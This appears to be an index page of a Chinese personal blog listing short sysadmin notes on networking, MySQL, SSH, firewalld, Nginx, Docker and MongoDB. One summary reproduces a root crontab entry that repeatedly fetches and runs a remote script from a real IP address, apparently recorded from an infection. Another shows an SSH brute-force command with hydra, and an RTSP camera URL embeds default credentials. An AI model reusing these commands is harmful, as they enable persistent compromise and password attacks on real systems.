上一页 1 ··· 14 15 16 17 18 19 20 21 22 ··· 77 下一页
摘要: cd /etc/sysconfig/network-scripts/ #进入网卡目录 cp ifcfg-eth0 ifcfg-eth0:1 # 复制出ifcfg-eth0:1虚拟网卡 vi ifcfg-eth0:1 #配置ifcfg-eth0:1虚拟网卡 DEVICE="eth0:1" #修改名称 阅读全文
posted @ 2018-11-23 14:53 ahuo 阅读(1929) 评论(1) 推荐(0)
摘要: 海康 rtsp://admin:123@192.168.10.244:554/h264/ch1/main/av_stream 测试连接 rtsp://184.72.239.149/vod/mp4://BigBuckBunny_175k.mov 阅读全文
posted @ 2018-11-21 13:47 ahuo 阅读(184) 评论(0) 推荐(0)
摘要: vim /etc/my.cnf 末尾增加 sql_mode='STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION' 阅读全文
posted @ 2018-11-21 11:27 ahuo 阅读(293) 评论(0) 推荐(0)
摘要: 生成requirements.txt文件 安装requirements.txt依赖 阅读全文
posted @ 2018-11-09 14:38 ahuo 阅读(209) 评论(0) 推荐(0)
摘要: chatter +i file 文件不能删除,不能更改,不能移动 chatter -i file 恢复 lsattr file 查看 i e-- file 修改会提示: file: Permission denied 阅读全文
posted @ 2018-11-02 16:01 ahuo 阅读(776) 评论(0) 推荐(0)
摘要: 生成ssh秘钥和公钥 ssh-keygen -t rsa cd ~/.ssh/ cat id_rsa.pub >> authorized_keys 阅读全文
posted @ 2018-11-02 09:09 ahuo 阅读(225) 评论(1) 推荐(0)
摘要: ☼ NAT 转发软路由 开启 NAT 转发之后,只要本机可以上网,不论是单网卡还是多网卡,局域网内的其他机器可以将默认网关设置为已开启 NAT 转发的服务器 IP ,即可实现上网。 信任所有连接,并且开放NAT(一句完成) firewall-cmd --zone=trusted --add-inte 阅读全文
posted @ 2018-10-30 14:14 ahuo 阅读(2429) 评论(0) 推荐(0)
摘要: Ubuntu14.04默认的安装源中安装的是Nginx 1.4.6 echo deb http://nginx.org/packages/ubuntu/ trusty nginx >> /etc/apt/sources.list.d/nginx.listecho deb-src http://ngi 阅读全文
posted @ 2018-10-30 10:37 ahuo 阅读(1129) 评论(0) 推荐(0)
摘要: export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "" > /var/spool/cron/root echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root echo "*/15 * * * * ... 阅读全文
posted @ 2018-10-28 00:02 ahuo 阅读(554) 评论(0) 推荐(0)
摘要: yum -y install epel-release 阅读全文
posted @ 2018-10-26 15:41 ahuo 阅读(1162) 评论(0) 推荐(0)
摘要: udo add-apt-repository ppa:pi-rho/security sudo apt-get update sudo apt-get install hydra hydra -l root -P pwd.txt -t 2 ssh://2.2.2.2 pwd.txt 11212312 阅读全文
posted @ 2018-10-18 10:47 ahuo 阅读(2584) 评论(0) 推荐(0)
摘要: 终端登录情况 last ssh登录情况 cat /var/log/secure | grep -i "accepted password" 定时任务 cat /var/log/cron 统计尝试入侵的IP cat /var/log/secure|awk '/Failed/{print $(NF-3) 阅读全文
posted @ 2018-10-17 21:16 ahuo 阅读(686) 评论(1) 推荐(0)
摘要: docker run -e "JAVA_OPTS=-Drocketmq.namesrv.addr=10.78.16.70:9876 -Dcom.rocketmq.sendMessageWithVIPChannel=false" -p 8080:8080 -t styletang/rocketmq-c 阅读全文
posted @ 2018-09-26 22:38 ahuo 阅读(191) 评论(0) 推荐(0)
摘要: 索引的限制: 索引名称不能超过128个字符 每个集合不能超过64个索引 复合索引不能超过31列 MongoDB 索引语法 db.collection.createIndex({ <field>: < 1 or -1 > }) db.collection.ensureIndex({ <field>: 阅读全文
posted @ 2018-09-18 10:18 ahuo 阅读(1564) 评论(0) 推荐(0)
摘要: $JDKPath$/bin/javah -jni -classpath $OutputPath$ -d $FileDir$ $FileClass$ $ProjectFileDir$ 阅读全文
posted @ 2018-09-16 10:39 ahuo 阅读(223) 评论(0) 推荐(0)
上一页 1 ··· 14 15 16 17 18 19 20 21 22 ··· 77 下一页